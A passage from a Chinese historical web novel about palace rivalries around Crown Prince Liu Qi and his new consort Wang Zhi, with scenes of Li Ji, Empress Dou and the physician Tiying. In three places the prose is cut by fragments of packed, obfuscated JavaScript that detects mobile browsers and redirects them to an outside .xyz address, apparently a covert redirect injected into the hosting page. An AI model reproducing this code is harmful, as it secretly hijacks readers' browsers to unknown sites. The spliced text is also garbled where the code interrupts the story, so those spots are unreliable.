……孩子未来花钱如流水的消费习惯,该不会其实是和你学的——或者说起码是被你宠出来的吧?! “那妾先谢过殿下了。” 心里震撼归震撼,王娡表面上还是笑容甜美接受了刘启这份好意。 这都是刘启自己上赶着要送她的,她凭什么不收。孩子他爹疑似有严重溺爱倾向归疑似,她总不能因为担心未来八字还没有一撇的事情,连现在的钱都不拿吧! 并且刘启什么身份地位。站在封建社会统治阶层顶点的人,需要她去担心对方财务问题吗? 刘启确实没跟她计较,或者说,如果他计较的话,一开始就不会主动提出用其他东西补的事。脑子相当好使的太子殿下慷慨解囊,都不用目录,就又从内库里点了一些比起来平常一点,不需要晁错这位总管亲自过目的摆设批下。 来来往往的宫人宦官们竟然意外都相当心绪平和,想来类似的事情也不是第一次发生,显著锻炼了他们的心理承受能力。 刘启在这一直待到最后整座馆舍焕然一新,方才终于挑剔满意了,颇为骄矜地瞥了王娡一眼。 王娡自然闻弦歌而知雅意,笑意吟吟地贴住他的手,仰面望向他的眼眸里满是亮光:“殿下爱我。” 这是真的愿意给她花真金白银,富有且慷慨的亲良人,现在被贿赂到短期内根本喷不了一点。 刘启被她这幅模样竟然闪亮到有些恍神,后知后觉自己好像找到一条神奇攻略途径的太子殿下眨了眨眼,最后竟是忍俊不禁: “原来你喜欢这些?” 他不等王娡回答,凑近来亲了她一口:“再多等几日,我给你带新的服饰珠玉回来。” “你喜欢步摇吗?” 太子殿下这么问: “用黄金为底,做成花树状,贯白珠作为枝叶,用翡翠鸟羽为装饰……走起路来白珠金枝会下垂着摇颤碰击,声音挺好听的。” 他说得轻描淡写,仿佛那“挺好听”的声音不过是什么自然之声而已,并非白珠与黄金相互碰撞、冒着有损风险才能发出来的清脆响声一样。 “你会喜欢吗?” 王娡:…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14544412|153876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她默默深吸了一口气。 她也很想自己能有那个毅力说不喜欢。 可问题是,太子这个身份,在这方面真的是太能有实力了。 “那就好。”从王娡的脸上读出了她真正的回复,刘启欣然点了点头:“那我先回去了。” 太子哪怕是休沐还是有事要做的,就和学生哪怕是放假也是有假期作业是一个道理。 “好好休息。” 他施施然转身离开,带走一片随侍和被喊来运输的宫人宦官,将和最初相比显然整体精致程度更上一个档次的馆舍留给了王娡可以静心思考。 王娡也算是体验了一次自己什么都不用操心的搬家之行,可到底这两天里发生了太多事情:身份的转换、地点的改变、消耗体力的活动、绞尽脑汁的劝谏……在刘启面前她需要时刻保持清醒,有肾上腺素的帮忙,她其实还没有什么很真实的疲惫感。 可是等到刘启那样交代了一句,他人又终于离开之后。安静地倒在软榻之上,依靠着案几,王娡浑身的疲倦感终于潮水般涌来。 卫芙察觉到她眉眼间的乏力,体贴地在她手边递上一杯水。 “夫人且饮一杯吧。” 累到一定程度后,往往容易失去胃口,分明腹中是饥饿着的,但实际却什么都不想吃。 王娡眼下就处于这个状态。她早上和中午是与刘启共用的膳食,但是劳心劳力,消化得也很快。偏偏对吃什么都很是兴致缺缺——尤其是在上辈子记忆里美食的对比下,汉朝的伙食哪怕是做的最好的一批,都显得有些莫名可怜,更是在这时激不起她的食欲。 清水反而正好。这起码不会招致她的反胃。 王娡接过漆杯,顺势便饮了一口,入喉是温热的暖意,顺着食道一路流淌到胃部,所过之处似有暖流涌过。 她原本有些僵硬的神情,随着一口口温水入腹,也渐渐软化柔和下来。 “——谢谢。芙儿真是贴心。” 她笑着夸奖卫芙。而对方也眉眼弯弯,被夸得露出了一些女孩家青春的活力。 “夫人可要先躺下歇息会?婢子可以让厨人那边晚些再送晚膳过来。” 王娡确实有些因疲惫而困倦——现在回想起来,这两天里她在刘启面前最常出现的动作都快成了摁额角,显然是身体不堪重负发出的信号,只是她处在肾上腺素激励之中,丝毫没有察觉而已。 刘启会叮嘱她好好休息,应该也是发现了这点。他之前还特意接手过她的动作,帮她慢慢摁压按摩过太阳穴。王娡当时只顾得及感叹没想到刘启身为太子按摩技术还挺不错,很快就沉浸其中。现在看来,刘启意外得观察入微,心细如发。 这大概也是政治人物必备的一种才能吧。要不然怎么做到一场解衣推食让小伙为我死心塌地卖命——串台串台,遗传的基因有点太过伟大而坚/挺了。 王娡一边漫无边际地发散着混乱是思维,一边询问卫芙:“那今日一般来说,会有其他夫人前来串门吗?” “不会。”卫芙思考了一会,最后才给出一个比较稳妥的答复:“太子妃从来不主动出门。栗夫人觉得第一日就上门,会显得自己好像无端低人一等。” “程夫人和贾夫人目前都有身,最重要的事就是想尽办法保证自己最后能够母子平安。” “唐夫人知道搬迁第一日总是事多扰人的,她性子向来体贴,不会赶在今日打搅夫人的。” “——那就让我休息会吧。” 王娡这才算放下心来。 卫芙帮她解开床铺的帘幕后,就听从她的吩咐告退了下去。 她慢吞吞脱履上床,方一躺进被褥,就这样沉沉和衣睡去。 21.第 21 章 “殿下带回的那个新人很受宠爱?” 云光殿里,一名容貌妍丽的女子神色淡淡地跪坐在案几前,手持引信,似是方才点燃了香炉中的茅香。身侧的宫人向她低语几句,她的回复却很从容。 “他带回来的,有哪个不受过宠爱吗?” 她今日见过来问安的王娡,也并没有觉得对方能有多特殊。 淡淡的烟霭袅袅自炉中生气,馥郁的香气慢慢弥散而开,一份如兰的清浅香气充盈在空气当中,一闻便知是极好的香料。长安的贵族女性最钟爱取这种香料放进柜里,只需一点,就足够衣带沾香,然后举止动作之间都能带出一阵含着芬芳的清风,颇能吸引良人的注意。 但女子点燃茅香显然只是为了自己的喜欢。也许是怕香气在室内堆积,她甚至命人打开了户牖,方便通风换气。 阳光顺着窗口洒落进殿,在地板上投下一片耀眼的明亮。女子听着宫人的汇报,目光却似乎被其吸引,怔怔地望着它出了神。 “可是,婢子听闻这次好似不太一样……” 那宫人显然是女子的心腹亲信,一脸警惕地将自己打听来的关于王娡的各种消息细细数来,在谈及刘启竟然允许王娡参乘的时候,她不由愤愤不平地为自己的主子叫屈:“——殿下对太子妃您都没有那样做过!” 其他的偏爱也许还只是小打小闹,宫人不是没有见过太子对其他姬妾做出过类似宠爱的举止。可是允许她人参乘,这显然还是第一次,尤其是参乘这件事的重要程度,更是向宫人发出了一个危险的信号。 她是太子宫里罕见从一开始就并不归属于太子的宫人,是当年太子大婚的时候,由当今太后从宫中赐下侍从于太子妃左右。所以她也是罕见会以太子妃的意愿为先,敢于抱怨刘启冷漠的人。 太子妃——薄琰知道这是宫人的忠心,哪怕这番话很有对太子不敬的嫌疑,她也没有出言呵斥对方。 可她也并没有动怒。 薄琰从香炉前施施起身,缓步走到房间一角。宫人为她打开面前的柜门,她顺手从中摸出自己的妆奁打开,露出了一面铜镜。 “阿平,”她喊宫人的名字:“我好看吗?” “女君清丽脱俗。”宫人阿平抬头,真心诚意地夸赞。 薄琰揽镜自照。镜中的美人即便神色平静不带笑意,那如画一样的眉眼也十足的清新俊逸,是薄家人祖传的清丽。薄琰生了这么一张脸,太后早年也是这样的风姿,就连薄昭和今上,尽管因为男子的身份而多了几分英朗,总体轮廓却都是一脉相承的温良。 陛下也喜欢她这样的美人。薄琰入宫陪伴太后的时候,遇见过那位如今最被陛下宠爱的慎夫人,对方比她还更适合平儿口中的“清丽脱俗”。薄琰私下揣度过这件事,怀疑是否因为陛下对慎夫人的宠爱,太后才决心将她许婚给太子。 可刘启不喜欢这种柔和的清丽。 “那你见殿下诸姬如何?” 薄琰淡漠地居高临下审视镜中的自己。阿平脑中一转,便明白了她的未尽之言。主从二人陷入一种不可名状的沉默之中,连风拂过帷幄的微弱声响都能被耳朵捕捉。 “……随殿下去好了。” 半晌后,她喃喃自语,目光从铜镜上拔起,望向那片晃眼的日光。 反正——她慢吞吞地在心中续上后半句话:这宫中最该生气的永远都不会是她。 有的是人要跳脚呢。 薄琰突然觉得有些好笑。 * “太过分了!太过分了!” 宫人领着今年五岁的皇孙刚接近内室,耳侧就传来里头女人难过的嚎哭,带着一阵噼里啪啦的坠地声,听得她眉心直跳。 “殿下可要在门外稍待片刻?婢子好去通传夫人。” 她弯下腰低声细语地询问皇孙的态度,可年岁尚小的刘荣是个比她想得要更成熟的孩子。他绷着一张小脸,分明是很稚嫩的幼童,却执着要摆出一副成熟的模样。 “我要见母亲。” 他摇摇头,拒绝了宫人想让他在外不蹚浑水的提议,直接迈步向里头走去。 栗少儿果不其然在发脾气。 美貌的妇人乌发如云,此刻却颇显杂乱、仪态尽失,一双凤眼满是火气,一边将案几上本来摆设的物件扫落在地,一边还咬牙切齿地恨恨自语: “一起?她怎么敢和殿下同乘!我当年都没有这样做过,她凭什么!殿下凭什么比喜欢更喜欢她?狐狸精——她就是个狐狸精,竟然敢那样勾引殿下……可恶,可恶……” 刘荣小心地绕开地上的各种摆设。因着栗少儿三天两头的脾气,伺候的宫人早就驾轻就熟将其换成了不易摔坏的器物,省得她平心静气后,对着满地刘启曾经送给她的东西遗骸,后悔心疼地直掉眼泪。 “母亲。” 他走到近处,老老实实地出声和栗少儿问安。被他唤回神的栗少儿见到是他来了,眼泪立即唰得一声落了下来,伸手将他抱了个满怀,口中哭喊着叫他:“儿啊——!” “你阿翁他怎么可以对我这么绝情呢?” 栗少儿是真的伤心难过。 她知道自己算不上年轻了。太子十六岁的时候,她被点到对方身边伺候,教对方通晓人事。 那时候的她二十六岁,比起及笄之年的太子妃,显然是更为妩媚多情、极具成熟女性魅力的存在。年轻的太子于是被她揽进情网之中,陷入了青涩而炽烈的迷恋。 她骄狂地踩着薄琰身为正妻的脸面上位,和刘启一起抚育了三个孩子。从十六岁到二十岁,她霸占住太子四年的时光,在那一段时间里,她天真地认为自己可以就这样天长地久。 可曾经的栗少儿有多么的骄傲,后来的栗少儿就有多么的困扰与绝望。 是。她是和刘启吵过闹过也发过小脾气,可刘启至于就因为那样一些小事对她那么生气吗?就因为她喜欢用一些刻意为难人的方式来证明刘启对她的纵容,最好是在薄琰的面前,因为她就是想看当时还对刘启抱有少女怀春般倾慕的薄琰那压抑不住的嫉妒。 想想啊,出身高贵的太子妃,结果却在争夺太子的宠爱这件事上,被她一个宫人出身的侍妾压在了下头。这难道不该叫人高兴吗?栗少儿只要想到这一点,就油然而生一种报复般的快乐。 但刘启不喜欢她这么干。哪怕是他最为栗少儿倾倒的时候,他都讨厌她这样的举动。 他和栗姬讲规矩,讲节俭,讲仪态,讲宫里的太后和朝堂上的大臣,讲她要有风度和包容,最好能看一些什么老子的学说,讲一切栗姬听不太懂,也不乐意听的事情。 “妾为什么要这么做呢?”那时候的栗少儿懵里懵懂地枕在太子的大腿上看他:“妾有殿下难道还不够吗?” “——母亲很喜欢这样的女子。”他说,“父亲也推崇节俭的风尚,他觉得……” “可我只要殿下的喜欢就足够了啊!” 栗少儿紧急打断了太子进一步的论述,她知道太子只要一讲到朝堂上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14578554|153876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事情就是要长篇大论的。她听不懂那些莫名其妙的东西,于是想偷懒。 但太子好像不高兴,他开始抿着唇盯着她生闷气。栗少儿心虚地转换着话题哄他,青少年的兴趣大抵不过是那几样,她总有办法让太子不生气了的。 后来太子果然不再和她说这些东西了。但他们的吵架却越来越多,越来越多,他越来越讨厌栗姬一定要在薄琰面前力争证明自己的特殊,直到最后,她还怀着阏于的时候,她等到了太子新纳了程姬。 栗少儿大发雷霆,她和太子几乎歇斯底里地宣泄自己的情绪。那次他们两个人吵得面红耳赤,如果不是太子的教养让他不会对自己的侍妾动手,光看最后他砸东西的力度,栗少儿怀疑他被气得甚至想杀人。 “——我恨你。栗少儿,你把我当个器具。” 栗姬听不懂太子为什么说他是个器具,但她听得懂刘启开头那句咬牙切齿,显然相当真心诚意的诅咒。 太子给她的长子命名叫荣,让她的次子叫德。可最后那个孩子,他却要叫他阏于。 阏与,容貌也。 栗少儿抱着刘荣嚎啕大哭,她想不明白为什么一个人可以从爱到恨得那么轻易而刻薄,更想不明白当年太子缘何要那么情绪激动地憎恨着她。 刘启在生活用度上没有亏待她,可是他的车辇从此除了探望儿子,再也不肯在含风殿驻足。三个儿子年纪尚小,两人都刻意地不让他们感受到生活的参差,所以刘荣茫然地问她为什么要说大人对母亲冷淡,她却难以启齿这些年的孤枕难眠。 容貌啊,容貌。她如今已经三十二了,保养得再好,因为生育和失宠的惶恐忧虑,她可以在自己的脸上观察到岁月流逝的痕迹。她知道程姬同样犯过错,可对方到底还年轻,于是能够得到太子的原谅。可她哪怕知道了正确答案,却都已经害怕去尝试了。 王娡——王娡—— 栗少儿愤愤地咬牙含着这个名字,她无条件地憎恨着每一个自她之后得幸的美人,真心实意期待她们落得个粉身碎骨。 “荣儿……”她含着泣声唤着长子:“答应我,无论如何,你都要去努力做到让你阿翁满意,好吗?听你阿翁的话,不要忤逆他……” 荣儿是太子的长子。她总会找到机会的。 刘荣迟疑而困惑地点了点头。 * “阿嚏——” 王娡突然鼻尖一痒,激得在场所有人都警觉而紧张地朝她投来了目光。 这个年代的医学实在太过脆弱,哪怕是对后世人来说不算什么大病的感冒,此时也很有可能一时病情加重而致人死亡。这个喷嚏一打,哪怕是王娡都本人都被吓了一跳,她两辈子都称得上身体康健,从来没有夏季感冒的传统,如今竟然要现在汉代体验一回吗? 坐在王娡对面的女子严肃而认真地端详了好一会她的面色,却是神色缓缓柔和了下来。 “夫人无需惊慌。”她说话的语气很温和,但并不柔弱,就像是一种韧草,看似风吹就伏,实际却牢牢扎根于深处,定如磐石:“夫人面色不像风寒入体,应只是一时刺激而已。” 随着她这句话,室内的气氛也跟着放松了下来。王娡看着面前这位在历史上堪称鼎鼎大名的人物,对她微微弯腰以示敬意,面上露出了微笑: “多谢淳于女医。” “夫人客气。” 淳于缇萦有些不好意思地笑了:“臣此行本就是应皇后之命为夫人身体而来,不过分内之事而已。” 22.第 22 章 缇萦,她以一个孝女的身份留名青史。 她的父亲淳于意曾任齐太仓令,后来为了专研医书辞官而去,是当代最为著名的一位良医,医术精湛、广收门徒,《史记》将他口述的二十五例医案记录下来称为《诊籍》,这就是中国现存最早的医案记录。 可淳于意的名气太大,精力却有限,他为下至平民上至各路权贵乃至于诸侯王看病,然而却不愿长久停留在某处,因而得到了许多求医无门的人的忿恨,最终被告发判刑,押往长安。 缇萦是他的小女儿。她以孤注一掷的烈性与坚强站了出来,跟着父亲一起到了长安,上书文帝,痛陈肉刑之苛,愿意身为宫婢,代父赎罪,恳请刘恒给淳于意一个改过自新的机会。 于是,文帝十三年始废肉刑。她不仅为父亲求得了机会,更是为天下人求得。 这刚好是今年不久前发生的事情。 * “夫人过誉了。” 缇萦笑起来的时候,还带着少女的青涩。即便做出了那样勇敢的事情,她其实也不过是个刚刚及笄,尚未出嫁的小姑娘。 “臣充其量只是让陛下心生恻隐,看见了天下尚未被完全治理的角落。臣的所求没有那么高远,只是希望免除一人的罪过。肉刑最终被整个废除,靠得分明是陛下自身的仁心。” “就连臣当时要去完成这件事的动机,也没有夫人称赞的那么好。” “臣只是很生气。”她回想着当时的情况,叹了一口气:“家严没有儿子,膝下只有臣等姊妹五人,家母又已经离世。当他被判有罪的时候,全家人都不知道该怎么办才好,仿佛天都要塌了。” “一家的主心骨就这样被人突然抽去,任谁不会一时无措呢?”王娡安抚她:“淳于女医无需苛责自己。” “不——臣在生家严的气。”缇萦有些不好意思。此时的风气就是子不言父过,可她已经用实际行动证明了自己的孝心,口头上稍微放肆一些倒也无妨:“因为家严当时看臣等跟在他的槛车后面哭,大怒,说了很过分的话。” “他说他后悔没有生个儿子,如今才落得发生什么急事都没有个可以管事的人的地步。” 她温声细语地将这话重复,脸色中已经看不出她初听时的难过与绝望,可腔调依旧平静得恐怖,像是一渊流深的静水,只在其下酝酿着风浪。 “臣只是想要向他证明——他那句话是完完全全的谬误,才最终站到陛下的面前的。当不起夫人勇士一词的夸赞。” 王娡认真地注视着缇萦的脸。 “不。”她说:“您这么做,更担得起这个词了。” 缇萦的脸染上一层薄红。她不是第一次如此坦诚地对听闻她名声的外人剖析自己上书救父的真心,可大多人听了这话,都只嬉笑地一带而过,视作她的谦逊。 王娡是她认识的第二个愿意相信她话语的人,更是第一个在听完整句话后,用相当郑重而景仰的态度,再肯定她的人。 缇萦再次笑了起来,露出了很可爱的小小酒窝。 “夫人的身体很是康健。”她有些恋恋不舍地同王娡告别:“臣还要向中宫复命,不便多留。” “若夫人下次有何需要,可以命人去少府寻臣。如果是休沐日,家严在长安城有别舍,可以去那里寻臣。” 淳于意是医术精湛的名医,更是广收门生的医学教育者,缇萦从小跟着父亲长大,自然也学了一手好医术。 上书救父的事情结束之后,淳于意在皇帝面前挂上了号,从此终于可以不顾宦海浮沉,一心研究医术,而缇萦却选择入宫为官,跟在窦漪房身边做了女医,名义上归属少府属官。 “臣先告退。”她对着王娡偷偷眨了一下眼睛,规规矩矩地行了一个礼节,随着宫人告辞离开。 堂上的气氛慢慢和缓了下来。王娡抻了抻腰,前生久坐习惯的人,如今更是早早开始保养脊椎。她有些慵懒地看向堂前,只觉今日阳光正好,便满意地点点头。 “芙儿,我先前命人准备的物件呢?可是做好了?” 她向来说话算话,尤其是不肯在物质条件上亏待自己。先前她在心中许诺要给自己造一套桌椅,好在树下乘阴纳凉,等这些天探索出刘启的底线后,就果断行事。 卫芙:“夫人要的躺椅已经好了,桌子却要再等一些时日。” 桌椅都不是什么难以理解的东西,眼下不曾问世,主要是由于贵族社会礼仪仪态的各种遗风,满朝诸公坚持认为跪坐方才显得得体。 没有桌子也不妨事。王娡欣然而往,命人将躺椅安置好,舒舒服服地接过卫芙捧来的清水抿了一口,眯着眼,享受起自己双腿在汉代难得的舒张与放松。 卫芙侍立在旁,看着王娡恬然安详的面色,犹豫再三,还是不知该如何开口。 “——不用这么紧张,芙儿。”闭着眼的王娡突然出声:“我对你说过的,有什么事都可以直接问。” 既然要培养心腹,那必然应该以腹心处之。卫芙有着一份天生的敏锐,可她的缺点是这个时代大部分没有受过教育的人的通病,阅历不足,眼界不够,需要耐心的教导。 基础较好的人也许需要的是老师的“不愤不启,不悱不发”,可像卫芙这样的一片白纸,从一开始就完全漠然地放手,恐怕只会让她白白浪费时间,甚至更怕琢磨错方向。 卫芙被她这幅完全将自己心思了如指掌的作态惊了一下,有些忐忑地端详着她的神色。见她是真的一点没有生气,方才小心翼翼发问:“夫人很欣赏方才来访的淳于女医吗?” “对。”王娡笑了,很痛快地承认。她问卫芙:“你知道我为什么那么欣赏她吗?” “因为夫人喜欢她为了证明自己的勇气?”卫芙一边思索,一边慢慢地阐述:“然后……淳于女医名望很高,又医术精湛。” 且不论缇萦的为人和见到历史名人的欣喜加成,她本就是一个从多方面来看都很值得结交的人脉,王娡当然不会放过。这些天她有在指导卫芙识人的能力,现在看来确实大有长进。 “但也不要学了后面的,就忘了前面的呀。”王娡伸手叫她弯腰过来,促狭而亲昵地点了下她的额头。这姑娘从她这学会了看一个人自身可以立足的根基,却偏偏有些傻乎乎地淡忘了自己在深宫中磨砺出来的本能,忘记了原本熟稔的看人后台的角度。 “最重要的是,她是中宫派来的人啊。” 哪怕女医并不像侍女那般随侍左右,可能不像随身侍女那样容易在贵人身边说得上话。但缇萦和一般的女医不同,窦漪房更不是普通的皇后。 前者是以身代父、美名远播的孝女,而后者从小与家人分离,后来重逢之时方才得知弟弟曾经被人掠卖为奴,因此对家人感情颇深。直到日后身为太后,都要遗憾兄长生前因文帝不允而不曾封侯。 尤其是窦漪房因疾失明,又因失明而失宠,慎夫人最得幸的时候,刘恒甚至日常允许她和窦漪房同座,直到被大臣用戚夫人的例子劝谏才得以停止。这样饱尝病痛和世事无常之苦,一名医术精湛的女医,毫无疑问,当给她带来不少的心理慰藉。 “我前几日托人送出去的消息,可有送到我母家手上?不知可有回复?” 想到这里,王娡算了算时间,问向面色有些羞红的卫芙。 卫芙一怔:“定是送到了的。长陵去长安城不远,谒者也不敢怠慢夫人。只是确实不见回复。” “哦。”王娡应了一声,却也不急:“那件事确实有些难办。多耗些时日也正常。” 田蚡年纪还小,更别提还要排行靠后的田胜,家里得用的男丁目前也就王信这么一个愣子,要和窦家人搭上关系哪里是那么容易的事呢。 * 椒房殿。 缇萦回来的时候,特意带动了帷帘上的铃器。清脆的声响回荡在宫殿当中,提醒着有人的造访。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14592970|153876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她耐心等待了片刻,却不见宫人领她前往内室。反倒是屏风后头传来了愈加清晰的脚步声,随后有两道身影自后方绕了出来。 宫人小心翼翼地搀扶着一位成熟美妇。岁月已然在她的面庞上留下了痕迹,但依旧称得上优待。时间柔和了女人年轻时风情万种的艳丽,只剩下一双轮廓锋利的眼眸,却教人更想见她年轻时的风采。 只是如若细看,却会发现她那双生得相当漂亮的眼睛竟然目光涣散,一层灰白的瞖膜蒙在她的眼上,显然是身患目疾。 “是缇萦吗?” 窦漪房已经完全看不见东西了,只能凭借听力和自己的推测来揣测来人。 “臣在。愿皇后千秋万岁,长乐未央。” 缇萦一边说着一边恭敬行礼。窦漪房连忙喊她起身,伸手要她到自己的身边来。 “你不在的这半天,孤听不见你的声音,竟然就有些想你了。” 她摸索着去找缇萦的手。缇萦连忙将自己送进皇后的手里,嘴上还不忘回应着窦漪房的关心,哄得皇后眉眼弯弯,相当受用。 “你可见过太子身边新进的那个宠姬了?”稍稍寒暄了片刻,话题还是转入正题。窦漪房拍了拍缇萦的手背,耐心地等待着答案。 她失明了。虽然耳朵还得用,身边的人也不敢不尽心伺候,可她到底没办法亲眼观察一个人的一举一动,考察此人的真心与否了。她只能跟其他人借用眼睛。 缇萦于是将她在太子宫里和王娡的相处细细道来,在讲到对方竟然听完她的心声后依旧保持了赞赏后,窦漪房露出了微笑。 “听听,缇萦。”她说:“孤说过,不止是孤会相信你。” 缇萦有些羞涩地低头:“但皇后依旧是第一个听臣说完后表示支持的人。” 所以她感激皇后,愿意随侍身边,哪怕找不到任何救助对方目疾的手段,也尽心尽力希望对方不要再受其他病症的折磨。 窦漪房听出了她的真心,颇为怜爱地抚摸着她。如若不是她看不见的话,她是想摸摸这孩子的头的。 “这是个聪明的孩子。”她这么评价王娡。 聪明,聪明点才好啊。 窦漪房幽幽叹了口气。她失明得实在太早了,所以当太后问她是否愿意让太子娶薄氏女为妻的时候,她派宫人探问过对方的才貌德行后,出于稳定太子地位的利益就点了头,却不知道薄琰竟然长了那样一张完全不符合刘启审美的脸。 刘启怎么可能会喜欢长相清丽的女子呢? 窦漪房自己长了一张明艳的美貌,刘嫖和刘启生得肖她,不论是以刘启自恋的倾向,还是从小身边最重要的两个女人对他审美潜移默化的影响,他喜欢的自然是这样的类型。 更重要的是,慎夫人就是薄琰同种类型的长相,甚至和她还有几分美人共通的相像。 窦漪房无不讽刺地这么想着:谁会对自己父亲的宠妾,一个既羞辱了自己母亲的地位,又导致自己地位动摇的女人心生好感呢?刘启讨厌这样的女人难道不是天经地义的事情吗? 她儿子又不是孝惠皇帝。 所以当初的结亲,在窦漪房心中早就变成了结仇。她养大的儿子,就算被刘恒那个黑心眼的熏陶了不少,可不论大的小的,哪个男人不是她了如指掌的?刘启这辈子都不可能和薄琰好好过下去的,窦漪房只能准备挑个新儿媳。 ——但刘启先前看中的几个实在太笨了。笨到窦漪房完全没办法接受的程度:刘启都把话说的那么明白了,竟然还能有傻子什么都没有听懂,到现在还在委委屈屈的。 皇后闭上了眼,哪怕这对于她的视力已经没有了任何影响,窦漪房还是本能地按照她失明前的举止行事,不希望所有人第一眼见她,就明白她是个盲人。 “广国是不是昨日递了消息,说他最近新结识了一个朋友?” 她冷不丁询问身边的宫人:“那位是不是也姓王?”